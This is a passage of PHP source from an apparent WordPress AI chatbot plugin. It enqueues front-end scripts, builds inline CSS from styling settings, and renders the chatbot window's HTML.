$aiomatic_Chatbot_Settings['scroll_bot'] == 'on') { $scroll_bot = $aiomatic_Chatbot_Settings['scroll_bot']; } else { $scroll_bot = '0'; } $no_empty = ''; if (isset($aiomatic_Chatbot_Settings['no_empty']) && trim($aiomatic_Chatbot_Settings['no_empty']) == 'on' && empty($input_text)) { $no_empty = '1'; } if (isset($aiomatic_Chatbot_Settings['chat_download_format']) && $aiomatic_Chatbot_Settings['chat_download_format'] != '' && $all_ok === true) { $chat_download_format = $aiomatic_Chatbot_Settings['chat_download_format']; } else { $chat_download_format = 'txt'; } $name = md5(get_bloginfo()); wp_enqueue_script($name . 'openai-chat-images-ajax', plugins_url('scripts/openai-chat-images-ajax.js', __FILE__), array('jquery'), AIOMATIC_MAJOR_VERSION); wp_localize_script($name . 'openai-chat-images-ajax', 'aiomatic_chat_image_ajax_object' . $chatid, array( 'ajax_url' => admin_url('admin-ajax.php'), 'nonce' => wp_create_nonce('openai-ajax-images-nonce'), 'persistent' => $persistent, 'persistentnonce' => wp_create_nonce('openai-persistent-nonce'), 'user_token_cap_per_day' => $user_token_cap_per_day, 'user_id' => $user_id, 'moderation_nonce' => wp_create_nonce('openai-moderation-nonce'), 'enable_moderation' => $enable_moderation, 'moderation_model' => $moderation_model, 'flagged_message' => $flagged_message, 'enable_copy' => $enable_copy, 'scroll_bot' => $scroll_bot, 'no_empty' => $no_empty, 'chatid' => $chatid, 'autoload' => $autoload, 'chat_download_format' => $chat_download_format, 'bubble_alignment' => $bubble_alignment, 'bubble_user_alignment' => $bubble_user_alignment, 'avatar_url_user' => $avatar_url_user, 'avatar_url' => $avatar_url, 'show_user_avatar' => $show_user_avatar, 'show_ai_avatar' => $show_ai_avatar )); if($chat_download_format == 'pdf') { wp_enqueue_script($name . 'pdf-downloader', 'https://cdnjs.cloudflare.com/ajax/libs/jspdf/2.5.1/jspdf.umd.min.js', array(), AIOMATIC_MAJOR_VERSION); wp_enqueue_script($name . 'html-canvas', 'https://cdnjs.cloudflare.com/ajax/libs/html2canvas/1.4.1/html2canvas.min.js', array(), AIOMATIC_MAJOR_VERSION); } wp_enqueue_style($name . 'css-ai-front', plugins_url('styles/form-front.css', __FILE__), false, AIOMATIC_MAJOR_VERSION); $css_added = false; $reg_css_code = '.aiomatic-hide {display:none!important;visibility:hidden}.image_max_w_ai{width:100%;max-width:100%;}.aiomatic_chat_history{'; if($font_size != '') { $reg_css_code .= 'font-size:' . $font_size . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $css_added = true; } else { if (isset($aiomatic_Chatbot_Settings['font_size']) && $aiomatic_Chatbot_Settings['font_size'] != '') { $reg_css_code .= 'font-size:' . $aiomatic_Chatbot_Settings['font_size'] . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $css_added = true; } } if($height != '') { $reg_css_code .= 'height:' . $height . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $css_added = true; } else { if (isset($aiomatic_Chatbot_Settings['height']) && $aiomatic_Chatbot_Settings['height'] != '') { $reg_css_code .= 'height:' . $aiomatic_Chatbot_Settings['height'] . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $css_added = true; } } if($minheight != '') { $reg_css_code .= 'min-height:' . $minheight . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $css_added = true; } else { if (isset($aiomatic_Chatbot_Settings['minheight']) && $aiomatic_Chatbot_Settings['minheight'] != '') { $reg_css_code .= 'min-height:' . $aiomatic_Chatbot_Settings['minheight'] . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $css_added = true; } } $reg_css_code .= '}'; $reg_css_code .= '.openai-ai-form{border-radius: 30px;'; if($general_background != '') { $reg_css_code .= 'background-color:' . $general_background . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $css_added = true; } else { if (isset($aiomatic_Chatbot_Settings['general_background']) && $aiomatic_Chatbot_Settings['general_background'] != '') { $reg_css_code .= 'background-color:' . $aiomatic_Chatbot_Settings['general_background'] . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $css_added = true; } } $reg_css_code .= '}'; $reg_css_code .= '.aiomatic_chat_history_log{'; if($font_size != '') { $reg_css_code .= 'font-size:' . $font_size . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $css_added = true; } else { if (isset($aiomatic_Chatbot_Settings['font_size']) && $aiomatic_Chatbot_Settings['font_size'] != '') { $reg_css_code .= 'font-size:' . $aiomatic_Chatbot_Settings['font_size'] . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $css_added = true; } } if($height != '') { $reg_css_code .= 'height:' . $height . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $css_added = true; } else { if (isset($aiomatic_Chatbot_Settings['height']) && $aiomatic_Chatbot_Settings['height'] != '') { $reg_css_code .= 'height:' . $aiomatic_Chatbot_Settings['height'] . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $css_added = true; } } if($background != '') { $reg_css_code .= 'background-color:' . $background . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $reg_css_code .= 'border-color:' . $background . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $css_added = true; } else { if (isset($aiomatic_Chatbot_Settings['background']) && $aiomatic_Chatbot_Settings['background'] != '') { $reg_css_code .= 'background-color:' . $aiomatic_Chatbot_Settings['background'] . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $reg_css_code .= 'border-color:' . $aiomatic_Chatbot_Settings['background'] . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $css_added = true; } } if($minheight != '') { $reg_css_code .= 'min-height:' . $minheight . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $css_added = true; } else { if (isset($aiomatic_Chatbot_Settings['minheight']) && $aiomatic_Chatbot_Settings['minheight'] != '') { $reg_css_code .= 'min-height:' . $aiomatic_Chatbot_Settings['minheight'] . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $css_added = true; } } $reg_css_code .= '}'; $reg_css_code .= '.openai-ai-image-form{'; if($width != '') { $reg_css_code .= 'width:' . $width . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $css_added = true; } else { if (isset($aiomatic_Chatbot_Settings['width']) && $aiomatic_Chatbot_Settings['width'] != '') { $reg_css_code .= 'width:' . $aiomatic_Chatbot_Settings['width'] . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $css_added = true; } } $reg_css_code .= '}'; if($bubble_width == 'full' || empty($bubble_width)) { $reg_css_code .= '.ai-bubble{width:100%!important;}'; $css_added = true; } elseif($bubble_width == 'auto') { $reg_css_code .= '.ai-bubble{width:auto!important;}'; $css_added = true; } if($bubble_alignment == 'left' || empty($bubble_alignment)) { $reg_css_code .= '.ai-bubble.ai-other{margin-left:unset!important;margin-right:auto!important;}'; $css_added = true; } elseif($bubble_alignment == 'right') { $reg_css_code .= '.ai-bubble.ai-other{margin-right:unset!important;margin-left:auto!important;}'; $css_added = true; } elseif($bubble_alignment == 'center') { $reg_css_code .= '.ai-bubble.ai-other{margin-left:auto!important;margin-right:auto!important;}'; $css_added = true; } if($bubble_user_alignment == 'left') { $reg_css_code .= '.ai-bubble.ai-mine{margin-left:unset!important;margin-right:auto!important;}'; $css_added = true; } elseif($bubble_user_alignment == 'right' || empty($bubble_user_alignment)) { $reg_css_code .= '.ai-bubble.ai-mine{margin-right:unset!important;margin-left:auto!important;}'; $css_added = true; } elseif($bubble_user_alignment == 'center') { $reg_css_code .= '.ai-bubble.ai-mine{margin-left:auto!important;margin-right:auto!important;}'; $css_added = true; } $reg_css_code .= '.ai-mine{'; if($user_font_color != '') { $reg_css_code .= 'color:' . $user_font_color . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $css_added = true; } else { if (isset($aiomatic_Chatbot_Settings['user_font_color']) && $aiomatic_Chatbot_Settings['user_font_color'] != '') { $reg_css_code .= 'color:' . $aiomatic_Chatbot_Settings['user_font_color'] . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $css_added = true; } } if($user_background_color != '') { $reg_css_code .= 'background-color:' . $user_background_color . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $css_added = true; } else { if (isset($aiomatic_Chatbot_Settings['user_background_color']) && $aiomatic_Chatbot_Settings['user_background_color'] != '') { $reg_css_code .= 'background-color:' . $aiomatic_Chatbot_Settings['user_background_color'] . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $css_added = true; } } $reg_css_code .= '}'; if(!empty($avatar_url)) { $reg_css_code .= '.ai-avatar.ai-other { background-image: url("' . esc_url($avatar_url) . '"); background-size: cover; background-position: center; margin-left: 3px; margin-right: 3px; }'; } if(!empty($avatar_url_user)) { $reg_css_code .= '.ai-avatar.ai-mine { background-image: url("' . esc_url($avatar_url_user) . '"); background-size: cover; background-position: center; margin-left: 3px; margin-right: 3px; }'; } $reg_css_code .= '.ai-other{'; if($ai_font_color != '') { $reg_css_code .= 'color:' . $ai_font_color . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $css_added = true; } else { if (isset($aiomatic_Chatbot_Settings['ai_font_color']) && $aiomatic_Chatbot_Settings['ai_font_color'] != '') { $reg_css_code .= 'color:' . $aiomatic_Chatbot_Settings['ai_font_color'] . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $css_added = true; } } if($ai_background_color != '') { $reg_css_code .= 'background-color:' . $ai_background_color . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $css_added = true; } else { if (isset($aiomatic_Chatbot_Settings['ai_background_color']) && $aiomatic_Chatbot_Settings['ai_background_color'] != '') { $reg_css_code .= 'background-color:' . $aiomatic_Chatbot_Settings['ai_background_color'] . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $css_added = true; } } $reg_css_code .= '}'; $reg_css_code .= '#aiomatic_chat_input' . $chatid . '{'; if($background != '') { $reg_css_code .= 'background-color:' . $background . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $reg_css_code .= 'border-color:' . $background . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $css_added = true; } else { if (isset($aiomatic_Chatbot_Settings['background']) && $aiomatic_Chatbot_Settings['background'] != '') { $reg_css_code .= 'background-color:' . $aiomatic_Chatbot_Settings['background'] . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $reg_css_code .= 'border-color:' . $aiomatic_Chatbot_Settings['background'] . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $css_added = true; } } if($input_border_color != '') { $reg_css_code .= 'border-color:' . $input_border_color . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $css_added = true; } else { if (isset($aiomatic_Chatbot_Settings['input_border_color']) && $aiomatic_Chatbot_Settings['input_border_color'] != '') { $reg_css_code .= 'border-color:' . $aiomatic_Chatbot_Settings['input_border_color'] . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $css_added = true; } } if($input_text_color != '') { $reg_css_code .= 'color:' . $input_text_color . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $css_added = true; } else { if (isset($aiomatic_Chatbot_Settings['input_text_color']) && $aiomatic_Chatbot_Settings['input_text_color'] != '') { $reg_css_code .= 'color:' . $aiomatic_Chatbot_Settings['input_text_color'] . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $css_added = true; } } $reg_css_code .= '}'; $reg_css_code .= '.aiomatic-ai-input{'; if($background != '') { $reg_css_code .= 'background-color:' . $background . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $reg_css_code .= 'border-color:' . $background . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $css_added = true; } else { if (isset($aiomatic_Chatbot_Settings['background']) && $aiomatic_Chatbot_Settings['background'] != '') { $reg_css_code .= 'background-color:' . $aiomatic_Chatbot_Settings['background'] . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $reg_css_code .= 'border-color:' . $aiomatic_Chatbot_Settings['background'] . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $css_added = true; } } if($input_border_color != '') { $reg_css_code .= 'border-color:' . $input_border_color . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $css_added = true; } else { if (isset($aiomatic_Chatbot_Settings['input_border_color']) && $aiomatic_Chatbot_Settings['input_border_color'] != '') { $reg_css_code .= 'border-color:' . $aiomatic_Chatbot_Settings['input_border_color'] . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $css_added = true; } } if($input_text_color != '') { $reg_css_code .= 'color:' . $input_text_color . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $css_added = true; } else { if (isset($aiomatic_Chatbot_Settings['input_text_color']) && $aiomatic_Chatbot_Settings['input_text_color'] != '') { $reg_css_code .= 'color:' . $aiomatic_Chatbot_Settings['input_text_color'] . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $css_added = true; } } $reg_css_code .= '} #openai-persona-name' . $chatid . '{'; if($persona_name_color != '') { $reg_css_code .= 'color:' . $persona_name_color . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $css_added = true; } else { if (isset($aiomatic_Chatbot_Settings['persona_name_color']) && $aiomatic_Chatbot_Settings['persona_name_color'] != '') { $reg_css_code .= 'color:' . $aiomatic_Chatbot_Settings['persona_name_color'] . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $css_added = true; } } $reg_css_code .= '} #openai-persona-role' . $chatid . '{'; if($persona_role_color != '') { $reg_css_code .= 'color:' . $persona_role_color . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $css_added = true; } else { if (isset($aiomatic_Chatbot_Settings['persona_role_color']) && $aiomatic_Chatbot_Settings['persona_role_color'] != '') { $reg_css_code .= 'color:' . $aiomatic_Chatbot_Settings['persona_role_color'] . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $css_added = true; } } $reg_css_code .= '} #aiomatic_chat_input' . $chatid . '::placeholder {'; if($input_placeholder_color != '') { $reg_css_code .= 'color:' . $input_placeholder_color . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $css_added = true; } else { if (isset($aiomatic_Chatbot_Settings['input_placeholder_color']) && $aiomatic_Chatbot_Settings['input_placeholder_color'] != '') { $reg_css_code .= 'color:' . $aiomatic_Chatbot_Settings['input_placeholder_color'] . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $css_added = true; } } $reg_css_code .= '} .aiomatic-close-button{'; if($submit_color != '') { $reg_css_code .= 'color:' . $submit_color . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $css_added = true; } else { if (isset($aiomatic_Chatbot_Settings['submit_color']) && $aiomatic_Chatbot_Settings['submit_color'] != '') { $reg_css_code .= 'color:' . $aiomatic_Chatbot_Settings['submit_color'] . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $css_added = true; } } $reg_css_code .= '}'; $reg_css_code .= '#openai-chat-speech-button' . $chatid . '{margin-top: 5px' . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;') . '}'; $reg_css_code .= '#aichatsubmitbut' . $chatid . '{margin-top: 5px' . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); if($submit_color != '') { $reg_css_code .= 'background-color:' . $submit_color . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $css_added = true; } else { if (isset($aiomatic_Chatbot_Settings['submit_color']) && $aiomatic_Chatbot_Settings['submit_color'] != '') { $reg_css_code .= 'background-color:' . $aiomatic_Chatbot_Settings['submit_color'] . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $css_added = true; } } if($submit_text_color != '') { $reg_css_code .= 'color:' . $submit_text_color . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $css_added = true; } else { if (isset($aiomatic_Chatbot_Settings['submit_text_color']) && $aiomatic_Chatbot_Settings['submit_text_color'] != '') { $reg_css_code .= 'color:' . $aiomatic_Chatbot_Settings['submit_text_color'] . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $css_added = true; } } $reg_css_code .= '}'; if($voice_color_activated == '') { if (isset($aiomatic_Chatbot_Settings['voice_color_activated']) && $aiomatic_Chatbot_Settings['voice_color_activated'] != '') { $voice_color_activated = $aiomatic_Chatbot_Settings['voice_color_activated']; } } $reg_css_code .= '#openai-chat-speech-button' . $chatid . '{'; if($voice_color != '') { $reg_css_code .= 'background-color:' . $voice_color . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $css_added = true; } else { if (isset($aiomatic_Chatbot_Settings['voice_color']) && $aiomatic_Chatbot_Settings['voice_color'] != '') { $voice_color = $aiomatic_Chatbot_Settings['voice_color']; $reg_css_code .= 'background-color:' . $aiomatic_Chatbot_Settings['voice_color'] . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $css_added = true; } } $reg_css_code .= '}'; $reg_css_code .= '#openai-image-speech-button' . $chatid . '{'; if($voice_color != '') { $reg_css_code .= 'background-color:' . $voice_color . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $css_added = true; } else { if (isset($aiomatic_Chatbot_Settings['voice_color']) && $aiomatic_Chatbot_Settings['voice_color'] != '') { $voice_color = $aiomatic_Chatbot_Settings['voice_color']; $reg_css_code .= 'background-color:' . $aiomatic_Chatbot_Settings['voice_color'] . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $css_added = true; } } $reg_css_code .= '}'; $reg_css_code .= '#openai-image-chat-speech-button' . $chatid . '{margin-left:20px;} #aiimagechatsubmitbut' . $chatid . '{'; if($submit_color != '') { $reg_css_code .= 'background-color:' . $submit_color . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $css_added = true; } else { if (isset($aiomatic_Chatbot_Settings['submit_color']) && $aiomatic_Chatbot_Settings['submit_color'] != '') { $reg_css_code .= 'background-color:' . $aiomatic_Chatbot_Settings['submit_color'] . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $css_added = true; } } if($submit_text_color != '') { $reg_css_code .= 'color:' . $submit_text_color . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $css_added = true; } else { if (isset($aiomatic_Chatbot_Settings['submit_text_color']) && $aiomatic_Chatbot_Settings['submit_text_color'] != '') { $reg_css_code .= 'color:' . $aiomatic_Chatbot_Settings['submit_text_color'] . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $css_added = true; } } $reg_css_code .= '}'; if($enable_front_end == 'on' || $enable_front_end == '1' || $enable_front_end == 'true' || $enable_front_end == 'yes' || $enable_front_end == 'front' || $enable_front_end == 'back' || $enable_front_end == 'both') { $reg_css_code .= 'form.aiomatic-window{'; $reg_css_code .= 'display:none;'; $reg_css_code .= '}'; $css_added = true; } if($window_width != '') { preg_match_all('#(\d+)\s*px#i', $window_width, $zamatches); if(isset($zamatches[1][0])) { $myw = intval($zamatches[1][0]) + 100; $wwidth = $myw . 'px'; } else { $wwidth = $window_width; } $reg_css_code .= '@media only screen and (min-width: ' . $wwidth . ') {form.aiomatic-window{'; $reg_css_code .= 'width:' . $window_width . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $reg_css_code .= 'max-width:' . $window_width . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $reg_css_code .= '}}'; $reg_css_code .= '@media only screen and (max-width: ' . $wwidth . ') {form.aiomatic-window{'; $reg_css_code .= 'width:75%' . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $reg_css_code .= 'max-width:75%' . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $reg_css_code .= '}}'; $css_added = true; } if($css_added === true) { wp_add_inline_style( $name . 'css-ai-front', $reg_css_code ); } // Display the form if($enable_front_end == 'on' || $enable_front_end == '1' || $enable_front_end == 'true' || $enable_front_end == 'yes' || $enable_front_end == 'front' || $enable_front_end == 'back' || $enable_front_end == 'both') { $show_me = '<img src="' . plugins_url('res/icons/1.png', __FILE__) . '">'; if (isset($aiomatic_Chatbot_Settings['chatbot_icon']) && $aiomatic_Chatbot_Settings['chatbot_icon'] != '') { if($aiomatic_Chatbot_Settings['chatbot_icon'] != 'x') { $show_me = '<img src="' . plugins_url('res/icons/' . $aiomatic_Chatbot_Settings['chatbot_icon'] . '.png', __FILE__) . '">'; } elseif (isset($aiomatic_Chatbot_Settings['chatbot_icon_html']) && $aiomatic_Chatbot_Settings['chatbot_icon_html'] != '') { $show_me = $aiomatic_Chatbot_Settings['chatbot_icon_html']; if(aiomatic_starts_with($show_me, 'http') === true) { $show_me = '<img src="' . esc_url_raw($show_me) . '" width="32" height="32">'; } } } $return_me .= '<span id="aiomatic-open-button' . $chatid . '" class="aiomatic-open-button aiomatic-window aiomatic-' . $window_location . '" onclick="document.getElementById(\'openai-ai-image-form' . $chatid . '\').style.display = \'inherit\';document.getElementById(\'aiomatic-open-button' . $chatid . '\').style.display = \'none\';">' . $show_me . '</span>'; } $return_me .= ' <form id="openai-ai-image-form' . $chatid . '" method="post" class="openai-ai-image-form'; if($enable_front_end == 'on' || $enable_front_end == '1' || $enable_front_end == 'true' || $enable_front_end == 'yes' || $enable_front_end == 'front' || $enable_front_end == 'back' || $enable_front_end == 'both') { $return_me .= ' aiomatic-window aiomatic-' . $window_location; } $return_me .= '">'; if (isset($aiomatic_Chatbot_Settings['show_header']) && $aiomatic_Chatbot_Settings['show_header'] != '' && $show_header == '') { $show_header = $aiomatic_Chatbot_Settings['show_header']; } $hclass = ''; if($show_header != 'show') { $hclass = ' aiomatic-hide'; } if (isset($aiomatic_Chatbot_Settings['show_dltxt']) && $aiomatic_Chatbot_Settings['show_dltxt'] != '' && $show_dltxt == '') { $show_dltxt = $aiomatic_Chatbot_Settings['show_dltxt']; } if (isset($aiomatic_Chatbot_Settings['show_mute']) && $aiomatic_Chatbot_Settings['show_mute'] != '' && $show_mute == '') { $show_mute = $aiomatic_Chatbot_Settings['show_mute']; } if (isset($aiomatic_Chatbot_Settings['show_internet']) && $aiomatic_Chatbot_Settings['show_internet'] != '' && $show_internet == '') { $show_internet = $aiomatic_Chatbot_Settings['show_internet']; } if (isset($aiomatic_Chatbot_Settings['show_clear']) && $aiomatic_Chatbot_Settings['show_clear'] != '' && $show_clear == '') { $show_clear = $aiomatic_Chatbot_Settings['show_clear']; } $tclass = ''; if($show_dltxt != 'show') { $tclass = ' aiomatic-hide'; } $mclass = ''; if($show_mute != 'show' || $chatbot_text_speech == 'off') { $mclass = ' aiomatic-hide'; } $iclass = ''; if(!isset($aiomatic_Main_Settings['internet_chat_short']) || $aiomatic_Main_Settings['internet_chat_short'] != 'on') { $iclass = ' aiomatic-hide'; } else { if($show_internet != 'show' || $internet_access == 'off' || $internet_access == 'disable' || $internet_access == 'disabled' || $internet_access == 'Disabled' || $internet_access === '0' || $internet_access === '0') { $iclass = ' aiomatic-hide'; } } $dclass = ''; if($show_clear != 'show') { $dclass = ' aiomatic-hide'; } $ai_prep = trim($ai_message_preppend, ': '); if($ai_prep != '') { $ai_prep .= ': '; } $user_prep = trim($user_message_preppend, ': '); if($user_prep != '') { $user_prep .= ': '; } if($enable_front_end == 'on' || $enable_front_end == '1' || $enable_front_end == 'true' || $enable_front_end == 'yes' || $enable_front_end == 'front' || $enable_front_end == 'back' || $enable_front_end == 'both') { $return_me .= ' <span class="aiomatic-close-button" onclick="document.getElementById(\'openai-ai-image-form' . $chatid . '\').style.display = \'none\';document.getElementById(\'aiomatic-open-button' . $chatid . '\').style.display = \'inherit\';">×</span>'; } if(!empty($custom_header)) { $return_me .= '<div class="openai-custom-header">' . $custom_header . '</div>'; } $return_me .= '<div class="openai-card-header' . $hclass . '"> <div class="w-100"> <div class="openai-d-flex"> <div class="overflow-hidden openai-mr-4">' . $avatar_src . '</div> <div class="openai-widget-user-name"><span id="openai-persona-name' . $chatid . '" class="openai-persona-name openai-font-weight-bold">' . esc_html(trim($ai_message_preppend, ': ')) . '</span><br><span id="openai-persona-role' . $chatid . '" class="openai-persona-role">' . esc_html($ai_role) . '</span></div> </div> </div> <div class="openai-text-right"> <a id="ai-mute-chat' . $chatid . '" class="aiomatic-gg-mute ai-mute-chat template-button mr-2 download-btn' . $mclass . '"><i title="' . esc_html__("Mute/Unmute", 'aiomatic-automatic-ai-content-writer') . '"></i></a> <a id="ai-internet' . $chatid . '" chatid="' . $chatid . '" class="aiomatic-gg-globalist aiomatic-left-padding aiomatic-cursor template-button mr-2 download-btn' . $iclass . '"><i id="aiomatic-globe-overlay-mother' . $chatid . '" class="aiomatic-gg-globe" title="' . esc_html__("Disable Chatbot Internet Access", 'aiomatic-automatic-ai-content-writer') . '"><i id="aiomatic-globe-overlay' . $chatid . '" class="aiomatic-globe-overlay"></i></i></a> <a id="ai-export-txt' . $chatid . '" class="ai-export-txt template-button mr-2 download-btn' . $tclass . '"><i title="' . esc_html__("Export Chat Conversation To File", 'aiomatic-automatic-ai-content-writer') . '" class="openai-file-document"></i></a> <a id="ai-clear-chat' . $chatid . '" class="ai-clear-chat template-button mr-2 download-btn' . $dclass . '"><i title="' . esc_html__("Clear Chat Conversation", 'aiomatic-automatic-ai-content-writer') . '" class="aiomatic-gg-trash"></i></a> </div> </div>'; $return_me .= ' <div class="code-form-top-pad form-group"> <div id="aiomatic_chat_history' . $chatid . '" class="aiomatic_chat_history ai-chat form-control"'; if (isset($aiomatic_Chatbot_Settings['enable_copy']) && $aiomatic_Chatbot_Settings['enable_copy'] != '') { $return_me .= ' title="' . esc_html__('Click on a bubble to copy its content!', 'aiomatic-automatic-ai-content-writer') . '"'; } $return_me .= '>'; if(!empty($chat_history)) { $return_me .= $chat_history; } $complete_me = ''; if($ai_first_message != '') { if(stristr($ai_first_message, '%%') !== false) { $post_link = ''; $post_title = ''; $blog_title = html_entity_decode(get_bloginfo('title')); $post_excerpt = ''; 